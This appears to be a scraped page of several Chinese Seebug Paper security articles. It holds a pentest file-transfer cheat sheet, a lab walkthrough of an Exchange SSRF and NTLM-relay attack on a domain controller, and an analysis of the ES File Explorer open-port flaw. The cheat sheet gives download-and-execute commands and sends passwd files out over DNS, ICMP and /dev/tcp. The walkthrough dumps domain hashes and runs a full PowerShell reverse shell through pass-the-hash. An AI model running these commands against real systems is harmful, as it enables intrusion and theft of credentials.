12<span class="nt">perl</span> <span class="nt">-MHTTP</span><span class="p">::</span><span class="nd">Server</span><span class="p">::</span><span class="nd">Brick</span> <span class="nt">-e</span> <span class="s1">'$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'</span><span class="nt">perl</span> <span class="nt">-MIO</span><span class="p">::</span><span class="nd">All</span> <span class="nt">-e</span> <span class="s1">'io(":8080")->fork->accept->(sub { $_</span><span class="cp">[</span><span class="mi">0</span><span class="cp">]</span><span class="s1"> < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'</span>Thanks to: http://stackoverflow.com/questions/8058793/single-line-python-webserver
busybox httpd
1busybox httpd -f -p 8000本条来自:lvm
Download files from HTTP server
以下列出了在 Windows 和 Linux 系统下使用系统自带工具从 HTTP Server 下载文件的几种方法
Windows
powershell
下载并执行:
1<span class="nt">powershell</span> <span class="o">(</span><span class="nt">new-object</span> <span class="nt">System</span><span class="p">.</span><span class="nc">Net</span><span class="p">.</span><span class="nc">WebClient</span><span class="o">)</span><span class="p">.</span><span class="nc">DownloadFile</span><span class="o">(</span><span class="s1">'http://1.2.3.4/5.exe'</span><span class="o">,</span><span class="s1">'c:\download\a.exe'</span><span class="o">);</span><span class="nt">start-process</span> <span class="s1">'c:\download\a.exe'</span>certutil
下载并执行:
1certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exebitsadmin
下载并执行:
1bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exebitsadmin 的下载速度比较慢
regsvr32
1regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dllLinux
Curl
1curl http://1.2.3.4/backdoorWget
1wget http://1.2.3.4/backdoorawk
在使用 awk 进行下载文件时,首先使用以上列出的任意一条命令启动一个 HTTP Server
12345678awk 'BEGIN {RS = ORS = "\r\n"HTTPCon = "/inet/tcp/0/127.0.0.1/1337"print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n" |& HTTPConwhile (HTTPCon |& getline > 0)print $0close(HTTPCon)}'效果:
Setup HTTP PUT server
以下列出了上传文件到 HTTP Server 的几种方法
使用 Nginx 搭建 HTTP PUT Server
12345678910111213141516171819mkdir -p /var/www/upload/ # 创建目录chown www-data:www-data /var/www/upload/ # 修改目录所属用户和组cd /etc/nginx/sites-available # 进入 nginx 虚拟主机目录# 写入配置到 file_upload 文件cat <<EOF > file_uploadserver {listen 8001 default_server;server_name kali;location / {root /var/www/upload;dav_methods PUT;}}EOF# 写入完毕cd ../sites-enable # 进入 nginx 虚拟主机启动目录ln -s /etc/nginx/sites-available/file_upload file_upload # 启用 file_upload 虚拟主机systemctl start nginx # 启动 Nginx使用 Python 搭建 HTTP PUT Server
以下代码保存到
HTTPutServer.py
文件里:1234567891011121314151617181920212223242526272829303132333435363738<span class="c1"># ref: https://www.snip2code.com/Snippet/905666/Python-HTTP-PUT-test-server</span><span class="kn">import</span> <span class="nn">sys</span><span class="kn">import</span> <span class="nn">signal</span><span class="kn">from</span> <span class="nn">threading</span> <span class="kn">import</span> <span class="n">Thread</span><span class="kn">from</span> <span class="nn">BaseHTTPServer</span> <span class="kn">import</span> <span class="n">HTTPServer</span><span class="p">,</span> <span class="n">BaseHTTPRequestHandler</span><span class="k">class</span> <span class="nc">PUTHandler</span><span class="p">(</span><span class="n">BaseHTTPRequestHandler</span><span class="p">):</span><span class="k">def</span> <span class="nf">do_PUT</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span><span class="n">length</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">headers</span><span class="p">[</span><span class="s1">'Content-Length'</span><span class="p">])</span><span class="n">content</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">rfile</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="n">length</span><span class="p">)</span><span class="bp">self</span><span class="o">.</span><span class="n">send_response</span><span class="p">(</span><span class="mi">200</span><span class="p">)</span><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">path</span><span class="p">[</span><span class="mi">1</span><span class="p">:],</span> <span class="s2">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span><span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">content</span><span class="p">)</span><span class="k">def</span> <span class="nf">run_on</span><span class="p">(</span><span class="n">port</span><span class="p">):</span><span class="k">print</span><span class="p">(</span><span class="s2">"Starting a HTTP PUT Server on {0} port {1} (http://{0}:{1}) ..."</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">port</span><span class="p">))</span><span class="n">server_address</span> <span class="o">=</span> <span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">port</span><span class="p">)</span><span class="n">httpd</span> <span class="o">=</span> <span class="n">HTTPServer</span><span class="p">(</span><span class="n">server_address</span><span class="p">,</span> <span class="n">PUTHandler</span><span class="p">)</span><span class="n">httpd</span><span class="o">.</span><span class="n">serve_forever</span><span class="p">()</span><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span><span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o"><</span> <span class="mi">3</span><span class="p">:</span><span class="k">print</span><span class="p">(</span><span class="s2">"Usage:</span><span class="se">\n\t</span><span class="s2">python {0} ip 1337"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]))</span><span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="n">ports</span> <span class="o">=</span> <span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="n">arg</span><span class="p">)</span> <span class="k">for</span> <span class="n">arg</span> <span class="ow">in</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">:]]</span><span class="k">try</span><span class="p">:</span><span class="k">for</span> <span class="n">port_number</span> <span class="ow">in</span> <span class="n">ports</span><span class="p">:</span><span class="n">server</span> <span class="o">=</span> <span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">run_on</span><span class="p">,</span> <span class="n">args</span><span class="o">=</span><span class="p">[</span><span class="n">port_number</span><span class="p">])</span><span class="n">server</span><span class="o">.</span><span class="n">daemon</span> <span class="o">=</span> <span class="bp">True</span> <span class="c1"># Do not make us wait for you to exit</span><span class="n">server</span><span class="o">.</span><span class="n">start</span><span class="p">()</span><span class="n">signal</span><span class="o">.</span><span class="n">pause</span><span class="p">()</span> <span class="c1"># Wait for interrupt signal, e.g. KeyboardInterrupt</span><span class="k">except</span> <span class="ne">KeyboardInterrupt</span><span class="p">:</span><span class="k">print</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">Python HTTP PUT Server Stoped."</span><span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>运行方法:
12$ python HTTPutServer.py <span class="m">10</span>.10.10.100 <span class="m">1337</span>Starting a HTTP PUT Server on <span class="m">10</span>.10.10.100 port <span class="m">1337</span> <span class="o">(</span>http://10.10.10.100:1337<span class="o">)</span> ...上传文件到 HTTP PUT server
Linux
Curl
1$ curl --upload-file secret.txt http://ip:port/Wget
1$ wget --method<span class="o">=</span>PUT --post-file<span class="o">=</span>secret.txt http://ip:port/Windows
Powershell
12$body = Get-Content secret.txtInvoke-RestMethod -Uri http://ip:port/secret.txt -Method PUT -Body $body使用 Bash /dev/tcp 进行文件传输
首先需要监听端口
文件接收端:
1nc -lvnp 1337 > secret.txt文件发送端:
1cat secret.txt > /dev/tcp/ip/port使用 SMB 协议进行文件传输
搭建简易 SMB Server
搭建简易SMB Server 需要用到 Impacket 项目的
smbserver.py
文件Impacket
已默认安装在 Kali Linux 系统中syntax:
impacker-smbserver ShareName SharePath
123$ mkdir smb <span class="c1"># 创建 smb 目录</span>$ <span class="nb">cd</span> smb <span class="c1"># 进入 smb目录</span>$ impacket-smbserver share <span class="sb">`</span><span class="nb">pwd</span><span class="sb">`</span> <span class="c1"># 在当前目录启动 SMB server,共享名称为 share</span>效果:
从 SMB server 下载文件
1copy \\IP\ShareName\file.exe file.exe上传文件到 SMB server
12345net use x: \\IP\ShareNamecopy file.txt x:net use x: /delete使用 whois 命令进行文件传输
/etc/passwdHost AHost B接收端 Host B:
1nc -vlnp 1337 | sed "s/ //g" | base64 -d发送端 Host A:
1whois -h 127.0.0.1 -p 1337 `cat /etc/passwd | base64`效果:
使用 ping 命令进行文件传输
secret.txtSenderReciver发送端:
1xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done接收端:
以下代码保存到
ping_receiver.py
12345678910111213141516<span class="kn">import</span> <span class="nn">sys</span><span class="k">try</span><span class="p">:</span><span class="kn">from</span> <span class="nn">scapy.all</span> <span class="kn">import</span> <span class="o">*</span><span class="k">except</span><span class="p">:</span><span class="k">print</span><span class="p">(</span><span class="s2">"Scapy not found, please install scapy: pip install scapy"</span><span class="p">)</span><span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="k">def</span> <span class="nf">process_packet</span><span class="p">(</span><span class="n">pkt</span><span class="p">):</span><span class="k">if</span> <span class="n">pkt</span><span class="o">.</span><span class="n">haslayer</span><span class="p">(</span><span class="n">ICMP</span><span class="p">):</span><span class="k">if</span> <span class="n">pkt</span><span class="p">[</span><span class="n">ICMP</span><span class="p">]</span><span class="o">.</span><span class="n">type</span> <span class="o">==</span> <span class="mi">8</span><span class="p">:</span><span class="n">data</span> <span class="o">=</span> <span class="n">pkt</span><span class="p">[</span><span class="n">ICMP</span><span class="p">]</span><span class="o">.</span><span class="n">load</span><span class="p">[</span><span class="o">-</span><span class="mi">4</span><span class="p">:]</span><span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{data.decode("utf-8")}'</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">""</span><span class="p">,</span> <span class="n">sep</span><span class="o">=</span><span class="s2">""</span><span class="p">)</span><span class="n">sniff</span><span class="p">(</span><span class="n">iface</span><span class="o">=</span><span class="s2">"eth0"</span><span class="p">,</span> <span class="n">prn</span><span class="o">=</span><span class="n">process_packet</span><span class="p">)</span>执行方法:
1python3 ping_receiver.py效果
使用 dig 命令进行文件传输
/etc/passwdSenderReciver发送端:
1<span class="n">xxd</span> <span class="o">-</span><span class="n">p</span> <span class="o">-</span><span class="n">c</span> <span class="mi">31</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">passwd</span> <span class="o">|</span> <span class="k">while</span> <span class="n">read</span> <span class="n">line</span><span class="p">;</span> <span class="k">do</span> <span class="n">dig</span> <span class="mf">@172.16.1.100</span> <span class="o">+</span><span class="kt">short</span> <span class="o">+</span><span class="n">tries</span><span class="o">=</span><span class="mi">1</span> <span class="o">+</span><span class="n">time</span><span class="o">=</span><span class="mi">1</span> <span class="err">$</span><span class="n">line</span><span class="p">.</span><span class="n">gooogle</span><span class="p">.</span><span class="n">com</span><span class="p">;</span> <span class="n">done</span>接收端:
以下代码使用了 python 的
scapy
模块,需要手动安装代码保存到
dns_reciver.py
文件中12345678910111213<span class="nn">try</span><span class="p">:</span><span class="s s-Atom">from</span> <span class="s s-Atom">scapy</span><span class="p">.</span><span class="s s-Atom">all</span> <span class="s s-Atom">import</span> <span class="o">*</span><span class="nn">except</span><span class="p">:</span><span class="nf">print</span><span class="p">(</span><span class="s2">"Scapy not found, please install scapy: pip install scapy"</span><span class="p">)</span><span class="s s-Atom">def</span> <span class="nf">process_packet</span><span class="p">(</span><span class="s s-Atom">pkt</span><span class="p">)</span><span class="s s-Atom">:</span><span class="s s-Atom">if</span> <span class="s s-Atom">pkt</span><span class="p">.</span><span class="nf">haslayer</span><span class="p">(</span><span class="nv">DNS</span><span class="p">)</span><span class="s s-Atom">:</span><span class="s s-Atom">domain</span> <span class="o">=</span> <span class="s s-Atom">pkt</span><span class="p">[</span><span class="nv">DNS</span><span class="p">][</span><span class="nv">DNSQR</span><span class="p">].</span><span class="s s-Atom">qname</span><span class="p">.</span><span class="nf">decode</span><span class="p">(</span><span class="s s-Atom">'utf-8'</span><span class="p">)</span><span class="s s-Atom">root_domain</span> <span class="o">=</span> <span class="s s-Atom">domain</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="s s-Atom">'.'</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span><span class="s s-Atom">if</span> <span class="s s-Atom">root_domain</span><span class="p">.</span><span class="nf">startswith</span><span class="p">(</span><span class="s s-Atom">'gooogle'</span><span class="p">)</span><span class="s s-Atom">:</span><span class="nf">print</span><span class="p">(</span><span class="s s-Atom">f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}'</span><span class="p">,</span> <span class="s s-Atom">flush</span><span class="o">=</span><span class="nv">True</span><span class="p">,</span> <span class="s s-Atom">end=''</span><span class="p">)</span><span class="nf">sniff</span><span class="p">(</span><span class="s s-Atom">iface=</span><span class="s2">"eth0"</span><span class="p">,</span> <span class="s s-Atom">prn</span><span class="o">=</span><span class="s s-Atom">process_packet</span><span class="p">)</span>运行方法:
1python3 dns_reciver.py效果:
使用 NetCat 进行文件传输
1.txtA:10.10.10.100B:10.10.10.200接受端:
1nc -l -p 1337 > 1.txt发送端:
1cat 1.txt | nc -l -p 1337或者
1nc 10.10.10.200 1337 < 1.txt在极端环境下,如果接受端没有 nc 可以使用 Bash 的 /dev/tcp 接收文件:
1cat < /dev/tcp/10.10.10.200/1337 > 1.txt参考链接
- Ippsec’s HackTheBox - Mischief Video
- Micropoor
- Simple Local HTTP Server With Ruby
- Big list of http static server one liners
- 渗透技巧——从github下载文件的多种方法
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/834/
-
利用 Exchange SSRF 漏洞和 NTLM 中继沦陷域控
作者:xax007@知道创宇404 ScanV安全服务团队
作者博客:https://xax007.github.io/漏洞简述
在群里看到一篇分享的利用 Exchange SSRF 漏洞获取域控 的文章(中文翻译),让我眼前一亮,后来又在微博看到有大佬复现了这个漏洞,于是我也决定试试。
上文中的漏洞利用思路按照我的理解可以汇总成一句话就是:
在Exchange 在域内具有高权限的前提下条件下,利用 Exchange 的跨站请求伪造漏洞进行 NTLM 中继攻击,修改域 ACL 使普通用户具有域管理员同等级别的权限
这篇文章的利用手法和其他网上很多方法不同的点在于,对 SSRF 漏洞进一步利用达到了拿到域控的目的,其他文章里都仅仅是利用SSRF 漏洞查看管理的邮件或者修改管理员邮箱规则,如邮件自动转发等。
不想拿到域控的黑阔不是一个好黑阔,利用多个普通漏洞,最大化利用漏洞拿到域控的骚姿势肯定要学一下的,于是有了这篇文章。
此文记录了我对这个漏洞进行的所有工作和遇到的坑。
漏洞环境搭建
复现这个漏洞最费时间又麻烦的就是搭建环境,我在
MacOS上
使用Vmware Fusion
搭建了此漏洞需要的域环境VMware Fusion 会在系统安装两个虚拟网卡,分别为
vmnet1
和vmnet8
vmnet8
为 NAT网卡,可以让虚拟机上网vmnet1
为 HostOnly 仅主机网卡,用来搭建私有网络,我们需要对此网卡作出修改如果在Windows系统搭建环境时,也应该设置所有虚拟主机为 HostOnly 模式,方法大同小异
配置 Vmware Fusion
修改
/Library/Preferences/VMware\ Fusion/networking
文件关闭
vmnet1
的 dhcp,否则虚拟主机之间无法通信123456VERSION=1,0answer VNET_1_DHCP no #关闭dhcpanswer VNET_1_DHCP_CFG_HASH 9503E18413CDE50A84F0D124C42535C62DF8193Banswer VNET_1_HOSTONLY_NETMASK 255.255.255.0 # HostOnly 网络子网掩码answer VNET_1_HOSTONLY_SUBNET 10.10.10.0 # HostOnly网络地址answer VNET_1_VIRTUAL_ADAPTER yes搭建域环境
从这里可以下载到能免费试用180天的正版
Windows Server 2012
系统我安装了一台 Windows Server 2012,装好以后克隆了一台,给虚拟分配多少硬件资源取决于自身电脑配置,这里我电脑的配置
因为是克隆的系统,两台的SID是一样的,会加入不了域, 所以克隆的这台要修改 SID
修改 SID 的方法是,在克隆的那个系统里进入
c:\windows\system32\sysprep\
执行1sysprep /generalize按照提示操作,重启就修改好了。
最终各种查资料、看不懂、迷惘、折腾后搭好了可用的域环境。
域环境的搭建主要参考了几位大佬的以下几篇文章
- 搭建渗透测试活动目录教程1
- 搭建渗透测试活动目录教程2
当然还有 l3mOn 大佬的:
Microsoft Exchange漏洞记录(撸向域控) - CVE-2018-8581
同步域内系统时间
搭建小型域环境里大佬说同步时间很重要,我发现我两个系统的时间都不一样,所以在域控所在的服务器配置系统时间:
打开
powershell
并执行1w32tm /config /manualpeerlist:"cn.pool.ntp.org tw.pool.ntp.org" /syncfromflags:manual /reliable:yes /update其中
/manualpeerlist
表示外部时间源服务器列表,多个服务器之间可用空格分隔,cn.pool.ntp.org
和tw.pool.ntp.org
是NTP
时间服务器/syncfromflags:manual
表示与指定的外部时间源服务器列表中的服务器进行同步/reliable:yes
表示设置此计算机是一个可靠的时间源/update
表示向时间服务发出配置已更改的通知,使更改生效1234567891011net stop w32time 关闭w32time服务net start w32time 启动w32time服务w32tm /resync 手动与外部时间源服务器进行同步w32tm /query /status 同步时间服务器状态w32tm /query /source 查询时间同步源w32tm /query /peers 查询时间同步服务器及相关信息以上步骤参考了以下的文章
Windows server 2012 部署NTP,实现成员服务器及客户端时间与域控制器时间同步
我按照教程在域控所在的服务器执行到第三步,另一台服务器的时间自己就同步了
最终搭好了可用的域环境:
12345678910111213141516域名称:evilcorp.local域控:操作系统:Windows Server 2012 R2IP: 10.10.10.2子网掩码: 255.255.255.0网关: 10.10.10.1DNS: 10.10.10.2Exchange 服务器:操作系统: Windows Server 2012 R2IP: 10.10.10.3子网掩码: 255.255.255.0网关: 10.10.10.1DNS: 10.10.10.2攻击主机:操作系统: KaliIP: 10.10.10.5按照以上三个教程的步骤走,看不明白继续搜教程就可以搭好域环境
攻击主机
Kali Linux
为了能访问域网络需要添加一个HostOnly
网卡,我添加后的网卡名为eth1
然后进行以下配置
12345678╭─root@kali ~╰─? ifconfig eth1 up╭─root@kali ~╰─? ifconfig eth1 10.10.10.5 netmask 255.255.255.0╭─root@kali ~╰─? route add default gw 10.10.10.1 eth1╭─root@kali ~╰─?安装 Exchange Server 2013
首先需要在 Exchange 所在的服务器上使用域控 Administrator 账号登录,不然安装检查是会出现一大堆错误
安装 Exchange 前要装依赖组件,可以参考上面 l3m0n 大佬的文章和 Windows Server 2012 安装 Exchange 2013 这两篇文章
安装好 Exchange 以后访问 Exchange 页面,在我的环境里的地址是
https://10.10.10.3
,需要添加一个普通域用户,然后用域控管理员账号登录 Exchange 为此用户分配 Exchange 账号,这一步网上有很多教程后续要用此普通用户来提权
所有的环境搭建好以后要进入激动人心的漏洞利用环节了!!!
漏洞利用
准备工具
漏洞利用需要下载两个工具:
第二个
Impacket
是一个功能很强大的 Windows 网络(SMB, MSRPC)工具包Kali 自带 Impacket,是版本过时了,需要安装最新的
git clone
下载下来后,进入到Impacket
目录使用pip
安装1pip install .注意这个工具是 python2 写的,使用 python3会出错
发起攻击
首先在本机启动 NTLM 中继,进入到
Impacker
的examples
目录执行1python ntlmrelayx.py -t ldap://evilcorp.local --escalate-user mr.robot其中
evilcorp.local
是域的名称--escalate-user
的参数是 Exchange 的普通权限用户名,也就是之前添加的普通用户用户名然后执行提权脚本
1python privexchange.py -ah 10.10.10.1 10.10.10.3 -u mr.robot -p "Hacktheplanet\!" -d evilcorp.local其中
-ah
参数指定域控地址可以是域的名称或 IP 地址,在这里为10.10.10.1
10.10.10.3
为 Exchange 服务器在域的名称或者IP地址-u
指定需要提权的 Exchange 的普通权限用户名-p
指定 Exchange 的普通权限用户的密码-d
指定域的名称如果攻击成功你会看到
privexchange.py
脚本的输出至此在
evicorp.local
域内,Mr.robot
用户具有了高权限,下一步我们导出域内所有用户的哈希导出域内用户哈希
进入
Impacket\examples
目录执行1python secretsdump.py EVILCORP.LOCAL/mr\.robot@evilcorp.local -just-dc就导出了域内所有用户哈希
在截图中由于 Kali 的 Openssl 版本太新有 bug,没办法连接上 Exchange 服务器使用自签名证书的HTTPS服务,在本机的 MacOS 上测试的
我再一次得到一个教训
平时没事别瞎更新整个系统,要更新也只更新需要的部分
利用用户哈希反弹 shell
哈希都拿到了,尝试反弹shell,使用 Windows 帐户哈希反弹 shell 的工具很多,我使用
smbmap
smbmap
已内置在Kali Linux
中nc 监听端口
1nc -lvnp 1337反弹 shell
1<span class="nt">smbmap</span> <span class="nt">-d</span> <span class="nt">evilcorp</span><span class="p">.</span><span class="nc">local</span> <span class="nt">-u</span> <span class="nt">Administrator</span> <span class="nt">-p</span> <span class="s1">'aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889'</span> <span class="nt">-H</span> <span class="nt">10</span><span class="p">.</span><span class="nc">10</span><span class="p">.</span><span class="nc">10</span><span class="p">.</span><span class="nc">2</span> <span class="nt">-x</span> <span class="s1">'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""10.10.10.5""""; $port=""""1337"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte</span><span class="cp">[]</span><span class="s1"> $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=""""cmd.exe"""" ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb</span><span class="cp">[</span><span class="mi">0</span><span class="nx">..</span><span class="err">$</span><span class="p">(</span><span class="nv">$pos</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="cp">]</span><span class="s1"> -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"'</span>代码中的
10.10.10.5
修改为攻击者IP,1337
修改为NC
监听端口
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/833/
-
ES 文件浏览器安全漏洞分析(CVE-2019-6447)
作者:0x7F@知道创宇404实验室
时间:2019.02.270x00 前言
ES 文件浏览器(ES File Explorer File Manager application)是一款安卓系统上的文件管理器,它支持在手机上浏览、管理文件。有超过 1 亿次下载量,是目前安卓系统上使用得最广的文件管理器。
2019年1月,由国外安全研究者公开一个关于 ES 文件浏览器的安全漏洞(CVE-2019-6447)。
2月下旬,笔者浏览到该漏洞的相关文章,想借此机会学习 APK 逆向,随即对该漏洞进行了复现分析,结合已公开的分析文章,发现原理非常简单,下面就来一探究竟吧。
0x01 漏洞概述
ES 文件浏览器在运行时会创建一个绑定在 59777 端口的 HTTP 服务,在该服务提供了 10+ 个命令,用于访问用户手机的数据以及执行应用程序;但该服务并没有对请求进行校验,从而导致出现安全漏洞。
影响范围
<= ES 文件浏览器 v4.1.9.7.4修复方式
前往应用商城下载最新版即可。修复该漏洞的版本为(v4.1.9.9)0x02 漏洞复现
漏洞复现环境
- Windows 7
- OPPP R7
- ES 文件浏览器v4.1.9.4
- ADB (Android Debug Bridge)
复现过程
- 通过 USB 连接手机与电脑,并打开 USB 调试。
- 通过 ADB 检查设备连接情况,并安装 ES 文件浏览器v4.1.9.4 到设备上。
- 在手机上可以看到 ES 文件浏览器已经安装成功,启动该应用;通过 ADB 查看当前网络端口情况,可以看到 59777 端口已经打开。
- 将手机和电脑配置到同一 WIFI 下,便于我们进行访问测试。
- 构造 HTTP 数据报文,将命令封装至 Json 数据中,请求 59777 端口;这里演示
getDeviceInfo
命令,可以看到成功返回了设备的信息。
0x03 漏洞分析
反编译dex文件
对 ES 文件浏览器v4.1.9.4 进行分析,首先将该 APK 进行解压,可以看到其中包含了三个*.dex
文件。使用 dex2jar 工具分别这三个文件进行反编译,得到三个*.jar
文件。使用 jd-gui 工具加载这三个
jar
文件,使用关键词搜索59777
、command
、getDeviceInfo
以快速定位到漏洞逻辑部分,其位于classes2-dex2jar.jar
下的com.estrongs.android.f.a
路径下。ES HTTP支持的指令
上图中,可以看到除了
getDeviceInfo
命令,该 HTTP 服务还支持不少的命令:command description listFiles 列出所有的文件 listPics 列出所有的图片 listVideos 列出所有的视频 listAudios 列出所有的音频 listApps 列出安装的应用 listAppsSystem 列出系统自带的应用 listAppsPhone 列出通信相关的应用 listAppsSdcard 列出安装在sd卡上的应用 listAppsAll 列出所有的应用 getAppThumbnail 列出指定应用的图标 appLaunch 启动制定的应用 appPull 从设备上下载应用 getDeviceInfo 获取系统信息 除了以上列出的命令,还可以直接访问
url+系统文件路径
,直接访问文件数据:1curl --header "Content-Type: application/json" http://192.168.0.105:59777/etc/wifi_mos.sh命令执行示例(列出所有的文件):
1curl --header "Content-Type: application/json" --request POST --data "{\"command\":\"listFiles\"}" http://192.168.0.105:59777命令处理
其命令处理部分逻辑大致就是进行相应的逻辑处理,并将执行的结果封装为 Json 数据格式,拼接为 HTTP 协议进行返回,下面是
getDeviceInfo
的处理逻辑:通过以上的功能逻辑可以看到,HTTP 服务是 ES 文件浏览器的一个内置功能,可能是用于不同设备之间的共享,但由于没有对请求进行校验,导致安全问题的出现。
0x04 补丁分析
下载已补丁的版本 v4.1.9.9.3,同样对 APK 进行解包,通过 dex2jar 反编译为
*.jar
文件,对文件进行分析。POST 请求校验
v4.1.9.9.3 版本可能重新进行了代码混淆,其反编译后的机构和 v4.1.9.4 有很大的差别;我们仍然使用关键词搜索来快速定位到之前的漏洞逻辑部分。位于
classes3-dex2jar.jar
下的es.qg
路径下。从上图可以看到,标注地方是新版本所添加的补丁,在处理请求时,首先进行检查,检查失败的情况下返回 400 错误。
跟入
ap.d()
函数中,可以看到两个关键检查函数:1.检查函数1
该函数获取了
UIModeManager
对象,当该对象的类型等于4
时,返回true
,通过查阅官方文档,在该处数值 4 对应的类型为UI_MODE_TYPE_TELEVISION
,也就是安卓TV的类型。说明官方将该功能限制在安卓TV的设备上了。2.检查函数2
检查函数2依然是对安卓TV的判断,在上一步函数获取了屏幕的尺寸并转换成了一个值,在该处判断值要大于 20,才能返回
true
。Andoird TV会受到威胁?
根据以上补丁的情况来看,可以猜测到 Android TV 似乎受到该漏洞的威胁,但实际上并不会。因为 Android TV 处理流程和手机版的不同,本身也不受该漏洞的影响。
将有漏洞的版本(v4.1.9.4)安装至 Android TV 上;经过测试可以发现,在 Android TV 下发起请求将直接返回
500
错误。原因是程序在判断设备是 TV 时,会首先提前做一次来源 IP 检查(判断是否由是本地发起的请求,检查失败也返回
500
错误),随后再检查可访问的路径,如下函数(classes3-dex2jar.jar/es.qj$a
):但经过测试,发现该数组的值为
NULL
,直接返回false
最终跳转至该语句,返回
500
错误。所以 Android TV 也不会受到该漏洞的影响。Get请求列目录修复
在上文中还提到发送
GET
请求可以列文件,在新版本也进行了修复。当以
GET
方式发起请求时,将进入ai.bK()
的函数判断,在该函数中检查了 HTTP 的数据必须以http://127.0.0.1:
开头,才可以返回文件列表;HTTP 协议都是以GET/POST/...
开头,肯定不会以这个方式开头,虽然不太理解这个检查,但还算是解决了列目录的问题。0x05 总结
通过以上的分析,可以完整的了解到 ES 文件浏览器安全漏洞的触发过程以及补丁情况;整体看来就是,开发者在设计共享访问功能的时候忽略对请求的检查,从而导致的安全漏洞。
References:
- Github: https://github.com/fs0c131y/ESFileExplorerOpenPortVuln
- Twitter: https://twitter.com/fs0c131y/status/1085460755313508352
- techcrunch: https://techcrunch.com/2019/01/16/android-app-es-file-explorer-expose-data/
- Freebuf: https://www.freebuf.com/vuls/195069.html
- smwenku: https://www.smwenku.com/a/5c45ee68bd9eee35b21ef1db/zh-cn
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/831/
-
简单 Unity3D 安卓游戏逆向思路
作者:dawu@知道创宇404实验室
时间:2019/02/250x00 前言
这是一篇游戏引发的简单技术文。
起因是个人很喜欢玩
google play
